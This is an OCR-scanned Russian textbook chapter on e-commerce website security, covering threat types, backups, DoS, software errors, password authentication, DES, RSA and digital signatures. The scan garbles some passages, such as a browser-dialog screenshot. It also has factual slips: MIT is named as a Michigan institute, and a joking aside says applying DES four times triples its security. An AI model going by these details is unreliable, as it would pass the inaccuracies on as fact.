Угрозы безопасности Что подвержено рискам на вашем сайте? Какие существуют внешние угрозы? Некоторые из угроз бизнесу в сфере электронной коммерции обсуждались в гла- ве 14. Многие из этих угроз связаны с безопасностью. В зависимости от особенностей веб-сайта, к угрозам его безопасности могут отно- ситься: разглашение конфиденциальных данных; потеря или уничтожение данных; изменение данных; отказ в обслуживании; ошибки программного обеспечения; отказ от обязательств. Давайте рассмотрим каждую из этих угроз. Глава 15. Безопасность сайта электронной коммерции 331
Разглашение конфиденциальных данных Данные, хранимые на ваших компьютерах, или передаваемые им либо с них, мо- гут быть конфиденциальными. К ним относится информация, которую разрешено просматривать только определенным людям, например, списки оптовых цен. Это может быть конфиденциальная информация, предоставленная клиентом, например, пароль, контактная информация или номер кредитной карточки. Надеемся, что вы не храните на веб-сервере информацию, которая не предназна- чена для просмотра всеми посетителями сайта. Веб-сервер — неподходящее место для секретной информации. Если вы собираетесь хранить на компьютере платежную ве- домость или план захвата власти над всем миром, то благоразумнее не использовать для этого веб-сервер. Веб-сервер по определению является общедоступным компью- тером и должен содержать либо информацию, которую следует предоставить клиен- там, либо информацию, только что собранную от клиентов. Для снижения риска разглашения данных потребуется ограничить количество ме- тодов получения доступа к информации и количество людей, которые могут полу- чить такой доступ. Этого можно добиться, если во время проектирования постоянно помнить о защите, должным образом конфигурировать сервер и серверные приложе- ния, осторожно программировать, тщательно тестировать, удалять ненужные службы с веб-сервера и требовать от посетителей аутентификации. Нужны тщательные проектирование, настройка, кодирование и тестирование, чтобы снизить риск успешной незаконной атаки, и, что не менее важно, уменьшить вероятность того, что какая-то ошибка сделает информацию доступной для случай- ного прочтения. Для уменьшения количества потенциально слабых мест удалите с веб-сервера не- нужные службы. Каждая служба, выполняющаяся на сервере, обладает своими уязви- мыми местами. Во избежание присутствия на сервере известных всем уязвимых мест следует регулярно обновлять каждую из служб. Службы, которые не используются, могут представлять еще большую опасность. Если, к примеру, вы никогда не исполь- зуете команду г ср, то зачем устанавливать эту службу1? Если в процессе инсталляции будет указано, что компьютер подключен к сети, то программа установки, входящая в состав основных дистрибутивов Linux и Windows NT, скопирует на ваш компьютер массу ненужных служб, которые должны быть удалены. Аутентификация (authentication) означает требование подтверждения своей лич- ности посетителями. Если система знает, от кого поступает запрос, она может ре- шить, разрешен ли доступ данному лицу. Существует несколько возможных методов аутентификации, но в большинстве случаев применяются только пароли и цифровые подписи. Более подробно эти методы обсуждаются ниже. Компания CD Universe может послужить хорошим примером того, во что обхо- дится разглашение конфиденциальной информации — как в денежном выражении, так и в плане репутации. Как сообщалось, в конце 1999 г. взломщик, называющий себя Maxus, связался с компанией CD Universe, утверждая, что обладает номерами 300 000 кредитных карточек, которые были украдены с сайта компании. За уничто- жение номеров кредитных карточек он требовал выкуп в размере 100 000 долларов США. Компания отказалась платить и оказалась втянутой в неприятную историю, 1 Даже если вы используете гср в данный момент, скорее всего, имеет смысл ее удалить и пользоваться вместо нее утилитой scp (“secure copy” — “защищенное копирование”). * 332 Часть III. Электронная коммерция и безопасность
попавшую на первые полосы большинства газет, поскольку упомянутый Maxus раздал номера мелкими партиями другим людям для нелегального использования. Данные подвергаются риску раскрытия и во время прохождения по сети. Хотя сети на базе протокола TCP/IP обладают массой положительных качеств, которые сделали их стандартом де-факто для объединения различных сетей в Интернете, обес- печение безопасности не входит в их число. Протокол TCP/IP разбивает данные на пакеты и пересылает эти пакеты от одного компьютера к другому, пока они не дос- тигнут пункта назначения. Это означает, что по пути следования данные проходят че- рез множество компьютеров, как показано на рис. 15.1. Любой из этих компьютеров имеет возможность просмотреть данные в момент прохождения через него. Рис. 15.1. Передача информации через Интернет связана с ее пересылкой через ряд хостов, потенциально не заслуживающих доверия Чтобы увидеть путь, по которому проходят данные от вашего компьютера до како- го-либо другого, можно воспользоваться командой traceroute на UNIX-компью- тере или tracert на Windows-компьютере. Эта команда выдает адреса компьютеров, через которые проходят данные на пути к хосту назначения. Для достижения хоста в пределах одной страны данные обычно должны пройти через добрый десяток раз- ных компьютеров. Для передачи данных на хосты, находящиеся в других странах, может потребоваться более 20 промежуточных хостов. Если организация владеет большой сложной сетью, данные могут пройти через пять промежуточных пунктов еще до того, как покинут пределы здания. Для защиты конфиденциальной информации данные можно шифровать перед отправкой и расшифровывать после получения. Веб-серверы часто используют про- токол защищенных сокетов (Secure Sockets Layer — SSL), разработанный компанией Netscape, тем самым обеспечивая безопасное взаимодействие для данных, путешест- вующих между веб-сервером и браузерами. Это достаточно дешевый и не требующий больших усилий способ защиты канала передачи, но поскольку вместо простой от- правки и приема данных сервер должен еще их зашифровывать и расшифровывать, то количество посетителей, которых сервер может обслуживать в секунду, существен- но снижается. Глава 15. Безопасность сайта электронной коммерции 333
Потеря или разрушение данных Потеря данных может обходиться значительно дороже, чем их разглашение. Если на разработку сайта и сбор данных и заказов от пользователей были затрачены месяцы работы, то во что может обойтись потеря этой информации в денежном выражении, в смысле испорченной репутации и напрасно потраченного времени? Если у вас не было резервных копий данных, придется спешно переписывать сайт и начинать все с самого начала. Вы можете столкнуться с массой недовольных клиентов, а также и мо- шенников, которые будут утверждать, что заказывали товары, но не получили их. Вполне возможно, что взломщйкам удастся проникнуть в систему и отформатиро- вать жесткий диск. Существует высокая вероятность того, что небрежный програм- мист или администратор случайно удалит что-то, и почти не вызывает сомнений, что рано или поздно жесткий диск потерпит аварию. Пластины жестких дисков вращают- ся со скоростью в несколько тысяч оборотов в минуту, и временами они отказывают. Согласно закону Мерфи, отказавший диск будет содержать наиболее важные данные, для которых дольше всего не выполнялось резервное копирование. Во избежание потери данных можно предпринять различные меры. Защищайте свои серверы от взломщиков. Стремитесь к тому, чтобы доступ к компьютеру име- ло как можно меньше людей. Нанимайте только компетентных и добросовестных сотрудников. Приобретайте только качественные жесткие диски. Используйте RAID- массивы (Redundant Array of Inexpensive Disks — массив недорогих дисков с избы- точностью), которые содержат несколько дисков. Такие массивы могут работать как один высокопроизводительный и надежный диск. Независимо от причин, существует только один реальный способ защиты от по- тери данных — резервное копирование. Резервное копирование — это не высшая математика. Наоборот, это утомительный, скучный и, хочется надеяться, бесполез- ный процесс, однако он жизненно необходим. Удостоверьтесь, что данные регулярно копируются на резервные носители, и протестируйте процедуру резервного копиро- вания, чтобы иметь уверенность в возможности восстановления данных. Убедитесь также, что резервные копии хранятся вдалеке от ваших компьютеров. Хотя и мало- вероятно, что офис пострадает от пожара или еще какого-нибудь стихийного бедст- вия, хранение резервных копий вне офиса — это достаточно дешевая, тем не менее, надежная страховка. Изменение данных Хотя потеря данных может принести большой ущерб, не меньший, а то и больший ущерб причиняет изменение данных. Что произойдет, если кто-то получит доступ к системе и изменит файлы? Полное удаление может быть замечено и исправлено с ис- пользованием резервной копии, но как скоро удастся заметить несанкционированное изменение? Изменению могут подвергнуться данные и выполняемые файлы. Изменение фай- лов данных может быть обусловлено желанием взломщика “украсить” ваш сайт соб- ственным граффити или получить незаконные привилегии. Замена выполняемых файлов их вредоносными версиями может открыть взломщику, получившему доступ к сайту, своего рода “черный ход” для последующих входов или предоставить большие полномочия в системе. Данные, которые передаются через сеть, можно защитить с помощью цифровой подписи. Это не помешает злоумышленникам изменить данные, но если получатель 334 Часть III. Электронная коммерция и безопасность
имеет возможность проверить соответствие подписи при получении файла, он будет знать, был ли файл изменен. Если во избежание несанкционированного просмотра данные шифруются, это также существенно усложняет скрытую модификацию дан- ных на пути их следования. Защита от изменений в файлах, хранящихся на сервере, требует применения имеющихся в операционной системе возможностей контроля доступа к файлам. Воспользуйтесь этими возможностями для защиты системы от несанкционированно- го доступа. Используя механизм прав доступа к файлам, пользователям можно разре- шить использовать систему, но не предоставлять им полный контроль над изменени- ем системных файлов и файлов других пользователей. Отсутствие соответствующих систем прав доступа — это одна из причин, по которым Windows 98, Windows 95 и Windows ME не подходят в качестве операционных систем для серверов. Обнаружение изменений является достаточно сложной задачей. Если в какой-то момент становится понятно, что защита системы взломана, то каким образом выяс- нить, изменились ли важные файлы? Некоторые файлы, такие как файлы, хранящие- ся в базах данных, должны со временем изменяться. Множество других файлов долж- ны оставаться неизменными с момента установки. Такие файлы меняются только в случае их сознательного обновления. Модификация файлов — как программ, так и данных — может осуществляться весьма коварно, и хотя программы можно устано- вить повторно, вы не сможете определить, какая из версий данных была “чистой”. Программное обеспечение определения целостности файлов наподобие Tripwire фиксирует информацию о важных файлах, которые находятся в известном безопас- ном состоянии, возможно, немедленно после установки. Впоследствии эта инфор- мация может быть использована для проверки целостности файлов. Коммерческую и условно-бесплатную версию этого приложения можно загрузить по адресу http: //wwwtripwire. com. Отказ в обслуживании Одна из наиболее сложных с точки зрения защиты угроз — это угроза отказа в обслуживании (Denial of Service — DoS). Эта угроза появляется, когда чьи-то действия приводят к затруднению или невозможности для пользователей получить доступ к определенной службе. Кроме того, отказом в обслуживании считается задержка при доступе к службе, критичной с точки зрения времени. В начале 2000 г. произошло большое количество атак типа распределенного отказа в обслуживании (Distributed Denial of Service — DDoS) на известные и популярные веб- сайты. В список подвергнувшихся атакам сайтов вошли Yahoo!, eBay, Amazon, E-Trade и Buy.com. Упомянутые сайты приспособлены к потокам данных такого объема, о ко- тором многие из нас могут только мечтать. И все-таки эти сайты уязвимы для DoS- атак и были недоступны в течение нескольких часов. Хотя взломщики мало получают от полного отключения сайта, владелец сайта может терять деньги, время и, самое главное — репутацию. Для некоторых сайтов существуют характерные периоды времени, когда выполня- ется основная работа. Букмекерские Интернет-конторы имеют дело с большим чис- лом ставок перед крупным спортивным (или другим) событием. Один из способов, когда взломщики попытались получить выгоду из DDoS-атак в 2004 г., был связан с вымогательством денег у букмекерских контор под угрозой атаки их сайтов в период максимальной загрузки. Глава 15. Безопасность сайта электронной коммерции 335
Одна из причин, почему от атак подобного типа очень сложно защищаться, связа- на с многообразием применяемых методов. В число этих методов входит установка на целевом компьютере программы, которая будет использовать почти все процес- сорное время, обратную массовую рассылку либо применение одного из автоматизиро- ванных инструментов. Метод обратной массовой рассылки состоит в том, что кто-то инициирует поддельную массовую рассылку, или спам, в которой в качестве отправите- ля указан атакуемый узел. В результате сайт получит тысячи сердитых ответов, кото- рые еще и потребуется обработать. Существуют автоматизированные средства, позволяющие запустить распределен- ную DoS-атаку на выбранный сервер. Даже не обладающий большими знаниями чело- век может исследовать несколько компьютеров на предмет известных уязвимых мест, получить доступ к какому-то из компьютеров и установить эту утилиту. Поскольку весь процесс является полностью автоматическим, атакующий может установить такую программу на узле меньше чем за пять секунд. Когда утилита установлена на доста- точном количестве узлов, на все такие узлы передается команда “утопить” атакуемую цель сетевым трафиком. В общем случае защищаться от DoS-атак достаточно сложно. Однако, проведя не- большие исследования, вы узнаете и закроете порты, используемые по умолчанию большинством утилит для DDoS-атак. Ваш маршрутизатор может предоставлять меха- низмы, такие как ограничение процентной доли трафика, использующего определен- ный протокол, например, ICMP. Значительно проще обнаружить хосты сети, которые используются для атак на другие хосты, нежели защищать от атак собственный хост. Если бы каждый сетевой администратор смог сосредоточиться исключительно на на- блюдении за собственной сетью, проблема DDoS-атак стояла бы не столь остро. В связи с существованием очень большого количества возможных, методов атак, единственный эффективный метод защиты — наблюдение за нормальным трафи- ком в сети и наличие группы экспертов, что позволит предпринять соответствующе контрмеры при появлении каких-либо отклонений. Ошибки программного обеспечения Приобретенное, полученное или разработанное самостоятельно программное обеспечение может содержать серьезные ошибки. Учитывая, что для разработки веб- проектов отводится очень мало времени, наличие ошибок в программном обеспече- нии весьма вероятно. Любая основанная на применении компьютеров коммерческая деятельность чувствительна к ошибкам программного обеспечения. Ошибки в программах могут приводить к любым видам непредсказуемого поведе- ния, в том числе к недоступности служб, брешей в защите, финансовым потерям и просто плохому обслуживанию клиентов. Типичными причинами ошибок могут быть неполные спецификации, ошибочные предположения, сделанные разработчиками, и неадекватное тестирование. Неполные спецификации Чем более пестрой или неоднозначной будет проектная документация, тем выше вероятность наличия ошибок в конечном продукте. Может показаться излишним ука- зывать в спецификации, что если кредитная карточка клиента отклонена, заказ не должен ему отсылаться, но, по крайней мере, один крупнобюджетный сайт содержал такую ошибку. Чем меньше у разработчиков опыта в создании систем, подобных раз- рабатываемой в данный момент, тем более точными должны быть спецификации. 336 Часть III. Электронная коммерция и безопасность
Предположения, сделанные разработчиками Проектировщики и программисты системы делают много предположений. Очень хочется надеяться, что все свои предположения они отразят в документации, и при этом окажутся правы. Тем не менее, иногда люди ошибаются в своих предположени- ях. Таковыми могут быть предположения, что введенные данные будут корректными, не будут содержать необычных символов или размер данных не превысит определен- ного значения. Неверными могут быть также предположения о синхронизации во времени, такие как вероятность выполнения двух конфликтующих действий в одно и то же время, или предположение о том, что выполнение сложной обработки займет больше времени, чем решение простой задачи. На подобные предположения легко не обратить внимания, поскольку обычно они верны. Взломщик может воспользоваться переполнением буфера, если программист сделал предположение о длине входных данных, или обычный пользователь может запутаться и покинуть сайт из-за того, что программист не учел, что в имени пользо- вателя может встречаться символ апострофа. Ошибки подобного рода можно оты- скать и исправить в ходе тщательного тестирования и детального анализа кода. Исторически сложилось так, что используемые взломщиками бреши в приложе- ниях и операционных системах обычно связаны с переполнением буфера или ситуа- цией перехвата. Некачественное тестирование Практически невозможно протестировать все варианты входных данных на всех возможных типах оборудования и операционных системах со всеми возможными пользовательскими настройками. Это еще более справедливо по отношению к систе- мам, работающим в Интернет-среде. На самом деле просто требуется хороший план тестирования, который обес- печит проверку всех функций приложения на представительном наборе распро- страненных типов компьютеров. Цель правильно спланированного набора тестов должна состоять в том, чтобы как минимум один раз протестировать каждую строку кода созданного приложения. В идеале этот набор тестов должен быть автомати- зированным, чтобы его без особых усилий можно было запускать на выбранных компьютерах. Наибольшая проблема тестирования заключается в том, что оно мало увлекатель- но, к тому же должно выполняться многократно. И хотя некоторым людям нравится ломать вещи, очень немногим понравится ломать одну и ту же вещь снова и снова. Исключительно важно привлекать к тестированию не только разработчиков, но и посторонних людей. Одна из основных целей тестирования — выявить ошибочные предположения, сделанные разработчиками. Скорее всего; новый человек будет ис- ходить из совершенно иных предпосылок. Кроме того, профессионалы редко прояв- ляют энтузиазм при поиске ошибок в собственных разработках. Отказ от обязательств Последний риск, который мы рассмотрим, — это отказ от обязательств (repudiation). Он имеет место, когда сторона, участвующая в транзакции, отказывается принимать в ней участие. Примером из области электронной коммерции может послужить чело- век, который заказал товары на веб-сайте, а затем отказался санкционировать снятие денег с кредитной карточки. В качестве примера можно также привести человека, Глава 15. Безопасность сайта электронной коммерции 337
который соглашается с чем-то в сообщении электронной почты, а затем заявляет, что его письмо было сфальсифицировано. В идеальном случае финансовые транзакции должны обеспечивать обеим сторо- нам душевное спокойствие в отношении отказа от обязательств. Ни один из участни- ков не должен иметь права отказаться от своего участия в транзакции, или, точнее, оба участника сделки должны иметь возможность последовательно и документально подтвердить действия другого участника для третьей стороны, такой как суд. Но на практике подобное происходит достаточно редко. Аутентификация придает некоторую уверенность о тех, с кем приходится сотруд- ничать. Будучи выдан авторитетным органом, цифровой сертификат подлинности может обеспечить большую уверенность. Отправляемые каждой из сторон сообщения также необходимо защищать от под- делки. Вы немногого добьетесь, доказав, что компания Corp Pty Ltd. отправила вам сообщение, если не удастся доказать, что полученное сообщение в точности совпада- ет с отправленным компанией. Как упоминалось ранее, цифровые подписи и шифро- вание существенно усложняют незаметное изменение сообщений. Для выполнения транзакций между сторонами, поддерживающими регулярные отношения, эффективным способом снижения количества отказов от обязательств являются цифровые сертификаты в комбинации с обменом зашифрованными или подписанными сообщениями. Такие методы неэффективны для одноразовых тран- закций, например, начальной транзакции между сайтом электронной коммерции и неизвестным посетителем, обладающим кредитной карточкой. Для подтверждения своей добросовестности в отношении посетителей компа- ния, занимающаяся электронной коммерцией, должна быть готова предоставить центру сертификации, такому как VeriSign (http: / /www. verisign. com) или Thawte (http://www.thawte.com), доказательства подлинности и несколько сотен долла- ров. Но захочет ли та же компания отказать в обслуживании посетителю, который отказывается сделать то же для подтверждения своей личности? При выполнении транзакций с небольшими суммами торговцы, в основном, готовы пойти на опреде- ленный риск обмана или отказа от обязательств, дабы не потерять потенциальных покупателей. Удобство использования, производительность, снижение затрат и безопасность По своей природе Интернет — среда, сопряженная с рисками. Она была создана для того, чтобы позволить большому количеству неизвестных пользователей запра- шивать определенные услуги от различных компьютеров. Большинство запросов бу- дут вполне легальными запросами на получение веб-страниц, но если ваш компьютер подключен к Интернету, ничто не мешает людям пытаться установить соединения другого типа. Естественно предположить, что желательно обеспечить наивысший уровень защи- ты, однако на практике это встречается не так уж часто. Если вы хотите чувствовать себя в полной безопасности, держите все свои компьютеры выключенными, отсоеди- ненными от всех сетей и закрытыми в сейфе. Чтобы компьютеры были полезными и доступными для использования, придется пойти на некоторые послабления в защите. Между безопасностью, удобством использования, затратами и производительно- стью должен быть достигнут определенный компромисс. Если сделать службу более 338 Часть III. Электронная коммерция и безопасность
защищенной, это может снизить удобство ее использования, например, если огра- ничить клиенту количество разрешенных действий или потребовать, чтобы клиент идентифицировал себя. Повышение безопасности может также повлечь за собой сни- жение производительности компьютеров. Использование программного обеспечения для повышения безопасности системы — например, системы шифрования, системы обнаружения вторжений, антивирусных программ, системы расширенной регистра- ции — требует дополнительных ресурсов. Для организации шифрованного сеанса, такого как соединение с веб-сайтом по протоколу SSL, потребуется значительно боль- шая вычислительная мощность, нежели для проведения обычного сеанса. Подобного рода потери производительности можно компенсировать, потратив больше денег на более мощные компьютеры или на оборудование, специально созданное для шифро- вания данных. Производительность, удобство использования, затраты и безопасность можно счи- тать взаимоисключающими целями. Для достижения компромисса потребуется про- анализировать необходимые уступки и принять обоснованное решение. Компромисс можно будет найти в зависимости от того, какова ценность вашей информации, сколько пользователей предполагается обслуживать, и против каких препятствий не будут возражать легальные посетители вашего сайта. Разработка политики безопасности Политика безопасности — это документ, описывающий следующие аспекты. Общая философия защиты в данной организации. Элементы, которые должны быть защищены — программное обеспечение, обо- рудование, данные. Персонал, отвечающий за защиту необходимых элементов. Стандарты безопасности и метрики, измеряющие степень удовлетворения этих стандартов. Хорошим пособием при разработке стратегии безопасности может служить то, что она подобна составлению функциональных требований для программного обес- печения. Стратегия не должна затрагивать конкретные реализации или решения; вместо этого она должна отражать цели защиты и требования, предъявляемые к ней в данной среде. Стратегия безопасности не должна обновляться слишком часто. В отдельном документе следует зафиксировать принципы того, как требования стратегии защиты должны быть реализованы в конкретной среде. Эти принципы мо- гут различаться для разных подразделений организации. Данный документ представ- ляет собой проектный документ или методическое руководство, в котором отражено то, что на самом деле следует проделать, чтобы гарантировать заявленный уровень защиты. Принципы аутентификации Аутентификация (authentication) — это доказательство, что кто-то на самом деле является тем, за кого себя выдает. Существует множество методов аутентификации, но, как это имеет место со многими средствами защиты, чем большую степень безо- пасности обеспечивают методы, тем сложнее их использовать. Глава 15. Безопасность сайта электронной коммерции 339
К технологиям аутентификации относятся использование паролей, цифровых подписей, биометрических показателей, таких как отпечатки пальцев, а также мето- ды, предусматривающие применение специального оборудования, например, смарт- карт. В Интернете широкое применение находят только два метода — использование паролей и цифровых сертификатов. Биометрические методы и большинство методов, предполагающих применение специального оборудования, требуют наличия специализированных устройств ввода и привязывают санкционированных пользователей к компьютерам, на которых ус- тановлены устройства подобного рода. Это может быть приемлемым или даже жела- тельным для доступа к внутренним системам организации, но такой подход сводит на нет все преимущества систем, доступных через Интернет. Пароли легко реализовать, просто использовать, и они не требуют наличия ника- ких устройств ввода. Пароли обеспечивают некоторый уровень аутентификации, но не подходят в качестве единственного метода аутентификации в системах с высоким уровнем безопасности. Концепция паролей достаточно проста. Пароль каждого пользователя известен только самому пользователю и системе. Если посетитель утверждает, что он — это вы, и знает ваш пароль, то у системы имеются все основания верить, что посетитель — это вы. До тех пор пока никто не знает и не может угадать ваш пароль, система ос- тается защищенной. Сами по себе пароли обладают несколькими потенциальными недостатками и не могут обеспечить надежную аутентификацию. Множество паролей угадать несложно. Если выбор пароля возложить на пользова- телей, то 50% из них выберет пароль, угадать который не представляет особых труд- ностей. Обычно такими паролями являются слова из словаря и имена пользователей, задействованные в качестве имен их учетных записей. Ценой уменьшения удобства использования можно заставить пользователей применять в паролях цифры и знаки пунктуации. Конечно, обучение пользователей правилам выбора хороших паролей может по- мочь, но даже после обучения примерно четверть пользователей все равно выберут легко угадываемые пароли. Имеет смысл создать политику выбора паролей, которая будет препятствовать пользователям в выборе легко угадываемых паролей. Для этого нужно сравнивать новые пароли со словарем или требовать использования в пароле нескольких цифр, знаков пунктуации или комбинации прописных и строчных букв. Оборотная сторона упомянутого подхода состоит в том, что строгие правила выбора паролей приведут к тому, что многие пользователи попросту не сумеют запомнить собственные пароли — особенно при наличии в различных системах различных пра- вил создания паролей. Трудно запоминаемые пароли увеличивают вероятность того, что пользователь может, например, записать на листке фразу “Пользователь: Fred Пароль: rover” и при- лепить его к монитору. Пользователей следует учить не записывать пароли и не со- вершать других подобных глупых поступков, например, не сообщать пароль человеку, который позвонил по телефону и утверждает, что работает в системе. Пароли могут перехватываться электронным путем. Используя программы перехвата клавиатурного ввода на терминалах либо анализаторы сетевых протоколов, или сниф- феры (sniffer), взломщики могут перехватывать используемые пары “имя пользовате- ля-пароль”. Шифрование сетевого потока данных позволяет снизить риск перехвата паролей. При всех своих недостатках пароли являются простым и относительно эффективным способом аутентификации пользователей. Они обеспечивают уровень защиты, который, 340 Часть III. Электронная коммерция и безопасность
возможно, не подойдет для министерства национальной безопасности, однако идеаль- но подходит для проверки состояния доставки товаров, заказанных клиентом. Механизмы аутентификации встроены в наиболее популярные веб-браузеры и серверы. Веб-серверы могут затребовать указания имени пользователя и пароля у тех, кто желает загрузить файлы из определенных каталогов на сервере. Когда браузер получает запрос на ввод имени пользователя и пароля, он отобра- жает диалоговое окно, подобное показанному на рис. 15.2. A usernene and password аге being requested by http://!ocabost. The ste says; ’phpMyAdran running on tocaihost Uss'Name: Password: \ OK ; ’ Caned Рис. 15.2. Веб-браузер требует от пользователей аутентификации при попытке входа в защищенный каталог веб-сервера Веб-серверы Apache и Microsoft IIS позволяют таким способом легко защитить весь сайт или же его часть. В РНР и MySQL существует множество способов достичь того же эффекта. Применение MySQL обеспечивает большую производительность, нежели встроенная аутентификация. С помощью РНР можно реализовать более гиб- кую аутентификацию или представить запрос в более привлекательной форме. Некоторые примеры аутентификации можно найти в главе 17. Основы шифрования Алгоритм шифрования (encryption algorithm) — это математический процесс преоб- разования информации в строку данных, которые выглядят как случайные. Исходные данные часто называют открытым текстом (plain text), хотя для про- цесса шифрования не имеет значения, что представляет собой информация — дейст- вительно текст или данные другого рода. Аналогично, зашифрованная информация называется зашифрованным текстом (cipher text), но, как правило, она мало напомина- ет текст. На рис. 15.3 процесс шифрования представлен в виде простой блок-схемы. Открытый текст загружается в механизм шифрования, который может быть даже Ме- ханическим устройством наподобие машины Enigma, применявшейся во времена вто- рой мировой войны. В настоящее время почти все шифрование выполняется компь- ютерными программами. Шифровальный механизм создает зашифрованный текст. Открытый текст Алгоритм шифрования Зашифрованный текст Рис. 15.3. Процесс шифрования получает на входе открытый текст и преобразует его в зашифрованный текст, который выглядит как случайный Чтобы создать защищенный каталог, при попытке доступа к которому открыва- ется диалоговое окно, показанное на рис. 15.2, мы воспользовались самым простым методом аутентификации, который обеспечивает сервер Apache. (В главе 17 приме- нение этого метода рассматривается более подробно.) Этот метод шифрует пароли Глава 15. Безопасность сайта электронной коммерции 341
перед их сохранением. Мы создали пользователя с паролем password. Этот пароль был зашифрован и сохранен в виде строки aWDuA3X3H.mc2. Как видите, открытый и зашифрованный текст внешне не похожи друг на друга. Показанный метод шифрования не является обратимым. Многие пароли сохра- няются с помощью однонаправленного алгоритма шифрования. Для проверки кор- ректности вводимого пароля расшифровывать сохраненный пароль не потребуется. Вместо этого вводимый пароль шифруется, и результат сравнивается с сохраненной версией. Многие, хотя и не все, процессы шифрования могут быть обратимыми. Обратный процесс называют дешифрацией (decryption). На рис. 15.4 показан двунаправленный процесс шифрования. Рис. 15.4. В процессе шифрования открытый текст преобразуется в зашифро- ванный текст, который выглядит как случайный. В процессе дешифрации зашиф- рованный текст преобразуется обратно в открытый текст История криптографии насчитывает почти 4000 лет, но наибольшего развития эта наука достигла в период второй мировой войны. С тех пор развитие криптографии повторяет развитие компьютерных сетей — сначала криптография использовалась только военными и финансовыми организациями, с семидесятых годов прошлого века криптография стала шире применяться в коммерческих компаниях, а в девяностых го- дах, опять-таки прошлого века, криптография стала внедряться практически повсеме- стно. За последние несколько лет криптография прошла путь от концепции, с которой обычные люди сталкивались только в фильмах о второй мировой и в шпионских трил- лерах, до технологии, о которой каждый день можно прочесть в газетах, и которая применяется при каждом приобретении чего-нибудь через Интернет. Существует множество различных алгоритмов шифрования. Некоторые, напри- мер, DES, используют секретный ключ. Другие, например, RSA, используют отдель- ные — открытый и секретный — ключи. Шифрование секретным ключом Шифрование секретным ключом (private key encryption) основано на том, что доступ к ключу имеет только авторизованный персонал. Этот ключ должен держаться в сек- рете. Если ключ попадет в руки постороннего, он сможет получить несанкциониро- ванный доступ к зашифрованной информации. Как показано на рис. 15.4, и отправи- тель (который шифрует сообщение), и получатель (который дешифрует сообщение) владеют одним и тем же ключом. Наиболее широко используемым алгоритмом с секретным ключом является стан- дарт Data Encryption Standard (DES). Этот алгоритм, разработанный компанией IBM в семидесятых годах прошлого века, принят в качестве американского стандарта для 342 Часть III. Электронная коммерция и безопасность
коммерческих и несекретных правительственных коммуникаций. Современные ско- рости вычислений на порядок превышают скорости вычислений в семидесятых го- дах, поэтому алгоритм DES считается устаревшим как минимум с 1998 г. Другие известные системы шифрования с секретным ключом — это RC2, RC4, RC5, тройной DES (triple DES) и IDEA. Тройной DES обеспечивает достаточную сте- пень защиты. Этот алгоритм использует тот же метод шифрования, что и DES, но применяет его трижды, используя при этом до трех разных ключей. Открытый текст шифруется с использованием первого ключа, дешифруется при помощи второго клю- ча, а затем шифруется с применением третьего ключа. На заметку! Вообще-то тройной DES всего лишь в два раза безопаснее обычного алгоритма DES. Если вам настоятельно необходимо реализовать алгоритм, который безопаснее обычного DES в три раза, то придется написать программу, которая применяет стандартный алгоритм DES не три, а че- тыре раза. Явный недостаток алгоритмов с секретным ключом состоит в том, что для отправ- ки кому-то защищенного сообщения необходимо располагать безопасным способом передачи этому лицу секретного ключа. А если у вас есть безопасный метод передачи ключа, то почему не воспользоваться этим же методом для передачи сообщений? К счастью, в 1976 г. произошел прорыв, когда Диффи (Diffie) и Хеллман (Hellman) опубликовали первый алгоритм шифрования с открытым ключом. Шифрование открытым ключом Шифрование открытым ключом (public key encryption) базируется на двух различ- ных ключах — открытом и секретном. Как показано на рис. 15.5, открытый ключ ис- пользуется для шифрования сообщений, а секретный — для их дешифрации. Рис. 15.5. При шифровании с открытым ключом для шифрования и дешифрации используются различные ключи Преимущество этого подхода состоит в том, что, как следует из его названия, от- крытый ключ можно свободно распространять. Любой человек, которому вы переда- ли свой открытый ключ, может отправить вам защищенное сообщение. Но посколь- ку секретным ключом обладаете только вы, то только вы и сможете дешифровать сообщение. Наиболее известный алгоритм с открытым ключом — это алгоритм RSA, который был разработан Райвестом (Rivest), Шамиром (Shamir) и Адлеманом (Adleman) в Мичиганском технологическом институте (MIT) и опубликован в 1978 г. Ранее алго- ритм RSA был защищен патентом, но срок действия патента истек в сентябре 2000 г. Глава 15. Безопасность сайта электронной коммерции 343
Огромным преимуществом алгоритмов с открытым ключом является возможность передачи открытого ключа по незащищенному каналу, не беспокоясь, что он будет прочитан третьей стороной. Несмотря на это, системы с секретным ключом все еще широко используются. Часто можно встретить гибридные системы. В таких системах алгоритм с открытым ключом применяется для передачи секретного ключа, который используется для обмена данными до конца сеанса связи. Эта дополнительная слож- ность компенсируется тем, что алгоритмы с секретным ключом работают на три по- рядка быстрее алгоритмов с открытым ключом. Цифровые подписи Цифровые подписи (digital signature) относятся к криптографическим алгоритмам с открытым ключом, но с измененными ролями открытого и секретного ключей. Отправитель может зашифровать и подписать сообщение своим секретным ключом. Когда сообщение получено, получатель может дешифровать его, используя открытый ключ отправителя. Ввиду того, что отправитель — это единственное лицо, обладаю- щее доступом к секретному ключу, получатель достаточно точно знает, от кого полу- чено сообщение, а также может быть уверен, что сообщение не было изменено. Цифровые подписи могут оказаться весьма полезными. Они гарантируют получа- телю, что сообщение не было подделано, а также не позволяют отправителю отка- заться от обязательств, отрицая факт отправки сообщения. Важно заметить, что хотя сообщения шифруются, их может прочитать любой об- ладатель открытого ключа. Несмотря на то что используются те же методы и ключи, в данном случае назначением шифрования является не запретить чтение, а предот- вратить подделку и отказ от обязательств. Поскольку алгоритмы с открытым ключом довольно медленно работают с боль- шими сообщениями, для повышения производительности обычно используется алго- ритм другого типа, называемый хеш-функцией (hash function). Хеш-функция вычисляет дайджест, или хеш-значение, для данного сообщения. Совершенно не важно, какое значение генерирует алгоритм. Важно, что результат этой функции является детер- минированным, т.е. результат будет одним и тем же каждый раз, когда на вход пе- редаются одни и те же данные. Кроме того, важно, что результат имеет небольшой размер, и алгоритм быстро работает. Наиболее известные хеш-функции — это MD5 и SHA. Хеш-функция генерирует дайджест, соответствующий определенному сообщению. Располагая сообщением и его дайджестом, можно убедиться, не подделывалось ли со- общение, но только в том случае, если дайджест не был подделан вместе с ним. Поэтому обычный способ создания цифровой подписи — это создание с помощью быстрой хеш-функции дайджеста для всего сообщения, а затем шифрование только короткого дайджеста с использованием медленного алгоритма с открытым ключом. Теперь подпись можно отправить вместе с сообщением по любому обычному, незащи- щенному каналу связи. После получения подписанного сообщения его подлинность можно проверить. Подпись дешифруется с помощью открытого ключа отправителя. Хеш-значение для сообщения генерируется с помощью того же метода, который использовал отправи- тель. Если дешифрованное хеш-значение совпадает со сгенерированным значением, значит, сообщение действительно прислано отправителем и при пересылке не изме- нялось. 344 Часть III. Электронная коммерция и безопасность
